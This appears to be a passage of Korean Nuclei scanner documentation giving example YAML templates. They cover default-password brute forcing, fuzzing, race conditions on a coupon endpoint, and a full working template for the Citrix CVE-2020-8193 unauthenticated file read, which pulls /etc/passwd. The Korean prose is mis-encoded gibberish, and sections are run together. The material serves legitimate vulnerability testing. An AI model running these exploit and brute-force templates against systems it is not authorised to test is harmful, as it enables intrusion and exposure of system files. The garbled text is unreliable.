payloads:
username:
- admin
password:
- admin
- guest
- password
- test
- 12345
- 123456
attack: clusterbomb # Available: batteringram,pitchfork,clusterbomb
matchers:
- type: word
words:
- "Test is test matcher text"์ฌ๋ฌ ์์ฒญ fuzzing
์ด ํ ํ๋ฆฟ์ 'clusterbomb' Intruder๋ฅผ ์คํํ๊ณ ์๋ต์ ๋ํ ๋ฌธ์์ด ์ผ์น๋ฅผ ํ์ธํ๋ ๋จ์ด ๋ชฉ๋ก ๊ธฐ๋ฐ ํ์ด๋ก๋์ ํจ๊ป RAW ํ์์ผ๋ก ์ ์๋ POST ์์ฒญ์ ๋ง๋ญ๋๋ค.
id: multiple-raw-example
info:
name: Test RAW Template
author: pdteam
severity: info
http:
- raw:
- |
POST /?param_a=ยงparam_aยง¶mb=ยงparam_bยง HTTP/1.1
User-Agent: ยงparam_aยง
Host: {{Hostname}}
another_header: {{base64('ยงparam_bยง')}}
Accept: */*
admin=test
- |
DELETE / HTTP/1.1
User-Agent: nuclei
Host: {{Hostname}}
{{sha256('ยงparam_aยง')}}
- |
PUT / HTTP/1.1
Host: {{Hostname}}
{{html_escape('ยงparam_aยง')}} + {{hex_encode('ยงparam_bยง'))}}
attack: clusterbomb # Available types: batteringram,pitchfork,clusterbomb
payloads:
param_a: payloads/prams.txt
param_b: payloads/paths.txt
matchers:
- type: word
words:
- "Test is test matcher text"์ธ์ฆ์ด ํ์ํ fuzzing
์ด ํ ํ๋ฆฟ์ ๊ฐ ์์ฒญ ๊ฐ์ ์ธ์ ์ ์ ์ง ๊ด๋ฆฌํ๊ณ ์๋ต์ ๋ํ ๋ฌธ์์ด ์ผ์น๋ฅผ ํ์ธํ๋ ์ ์๋ ์์ฒญ์ผ๋ก ํ์ HTTP ์์ฒญ์ ๋ง๋ญ๋๋ค.
id: multiple-raw-example
info:
name: Test RAW Template
author: pdteam
severity: info
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
- |
POST /testing HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
testing=parameter
cookie-reuse: true # ์ฟ ํค ์ฌ์ฌ์ฉ์ ๋ธ๋ผ์ฐ์ ์ ๊ฐ์ ๋ชจ๋ ์์ฒญ ๊ฐ์ ์ธ์
์ ์ ์งํฉ๋๋ค.
matchers:
- type: word
words:
- "Test is test matcher text"๋์ ๋ณ์ ์ง์
์ด ํ ํ๋ฆฟ์ ๊ฐ ์์ฒญ ๊ฐ์ ์ธ์ ์ ์ ์ง ๊ด๋ฆฌํ๋ ์ฐ์์ ์ธ HTTP ์์ฒญ์ ๋ง๋ญ๋๋ค. ์์ฒญ์์ ๋ฐ์ดํฐ๋ฅผ ๋์ ์ผ๋ก ์ถ์ถํ๊ณ ๋ณ์ ์ด๋ฆ์ ์ฌ์ฉํ์ฌ ๋ค๋ฅธ ์์ฒญ์ผ๋ก ์ฌ์ฌ์ฉํ ๋ค์, ์๋ต์ ๋ํ ๋ฌธ์์ด ์ผ์น๋ฅผ ํ์ธํฉ๋๋ค.
id: CVE-2020-8193
info:
name: Citrix unauthenticated LFI
author: pdteam
severity: high
reference: https://github.com/jas502n/CVE-2020-8193
http:
- raw:
- |
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Type: application/xml
X-NITRO-USER: xpyZxwy6
X-NITRO-PASS: xWXHUJ56
<appfwprofile><login></login></appfwprofile>
- |
GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.24.0
Accept: */*
Connection: close
- |
GET /menu/neo HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.24.0
Accept: */*
Connection: close
- |
GET /menu/stc HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.24.0
Accept: */*
Connection: close
- |
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.24.0
Accept: */*
Connection: close
Content-Type: application/xml
X-NITRO-USER: oY39DXzQ
X-NITRO-PASS: ZuU9Y9c1
rand_key: ยงrandkeyยง
<appfwprofile><login></login></appfwprofile>
- |
POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.24.0
Accept: */*
Connection: close
Content-Type: application/xml
X-NITRO-USER: oY39DXzQ
X-NITRO-PASS: ZuU9Y9c1
rand_key: ยงrandkeyยง
<clipermission></clipermission>
cookie-reuse: true # Using cookie-reuse to maintain session between each request, same as browser.
extractors:
- type: regex
name: randkey # Variable name
part: body
internal: true
regex:
- "(?m)[0-9]{3,10}\\.[0-9]+"
matchers:
- type: regex
regex:
- "root:[x*]:0:0:"
part: bodyFile: docs/kr/template-examples/http-race-conditions.md
๋จ์ผ POST ์์ฒญ์ผ๋ก ๊ฒฝ์ ์กฐ๊ฑด ํ ์คํธ.
์ด ํ
ํ๋ฆฟ์ /coupons ์๋ํฌ์ธํธ์ ๋ํ RAW ํ์์ ์ ์๋ POST ์์ฒญ์ ๋ง๋ญ๋๋ค. race_count๊ฐ 10์ผ๋ก ์ ์๋๋ฏ๋ก ๋ชจ๋ ์์ฒญ์ โโ๋ํด ํจ๊ป ๋ณด๋ธ ๋ชจ๋ ์์ฒญ์ โโ๋ํ ๋ง์ง๋ง ๋ฐ์ดํธ๋ฅผ ๋ณด์ ํ์ฌ ๋์์ 10๊ฐ์ ์์ฒญ์ ๋ง๋ญ๋๋ค. send ์ด๋ฒคํธ ๋๊ธฐํ๋ฅผ ์์ฒญํฉ๋๋ค.
๋ํ ๊ฒฝ์ ์กฐ๊ฑด ์ ์ฉ์ด ์๋ํ๋์ง ์ฌ๋ถ๋ฅผ ์๋ณํ๋ ๋ฐ ๋์์ด ๋๋ ์์ ์ถ๋ ฅ์ ๋ํ ๋ค๋ฅธ ํ ํ๋ฆฟ์ผ๋ก matcher๋ฅผ ์ ์ํ ์ ์์ต๋๋ค.
id: race-condition-testing
info:
name: Race Condition testing
author: pdteam
severity: info
http:
- raw:
- |
POST /coupons HTTP/1.1
Host: {{Hostname}}
Pragma: no-cache
Cache-Control: no-cache, no-transform
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Cookie: user_session=42332423342987567896
promo_code=20OFF
race: true
race_count: 10
matchers:
- type: status
part: header
status:
- 200์ฌ๋ฌ ์์ฒญ์ผ๋ก ๊ฒฝ์ ์กฐ๊ฑด ํ ์คํธ.
์ด ํ
ํ๋ฆฟ์ threads๊ฐ 5๋ก ์ค์ ๋ RAW ํ์์ ์ ์๋ ์ฌ๋ฌ POST ์์ฒญ์ ๋ง๋ญ๋๋ค. ๊ฒฝ์ ์กฐ๊ฑด์ ์
์ฉํ๊ธฐ ์ํด ์ฌ๋ฌ ์์ฒญ์ ๋ณด๋ด์ผ ํ ๋ threads๋ฅผ ๊ฒฝ์ ์กฐ๊ฑด ํ
ํ๋ฆฟ์์ ์ฌ์ฉํ ์ ์์ต๋๋ค. threads ๋ฒํธ๋ ๋ค์๊ณผ ๊ฐ์์ผ ํฉ๋๋ค. ํ
ํ๋ฆฟ์ผ๋ก ๋ง๋๋ ์์ ๋์ผํด์ผ ํ๋ฉฐ ๋จ์ผ ์์ฒญ๋ง ํ๋ ๊ฒฝ์ฐ์๋ ํ์ํ์ง ์์ต๋๋ค.
id: race-condition-testing
info:
name: Race condition testing with multiple requests
author: pdteam
severity: info
http:
- raw:
- |
POST / HTTP/1.1
Pragma: no-cache
Host: {{Hostname}}
Cache-Control: no-cache, no-transform
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
id=1
- |
POST / HTTP/1.1
Pragma: no-cache
Host: {{Hostname}}
Cache-Control: no-cache, no-transform
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
id=2
- |
POST / HTTP/1.1
Pragma: no-cache
Host: {{Hostname}}
Cache-Control: no-cache, no-transform
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
id=3
- |
POST / HTTP/1.1
Pragma: no-cache
Host: {{Hostname}}
Cache-Control: no-cache, no-transform
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
id=4
- |
POST / HTTP/1.1
Pragma: no-cache
Host: {{Hostname}}
Cache-Control: no-cache, no-transform
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
id=5
threads: 5
race: true
matchers:
- type: status
status:
- 200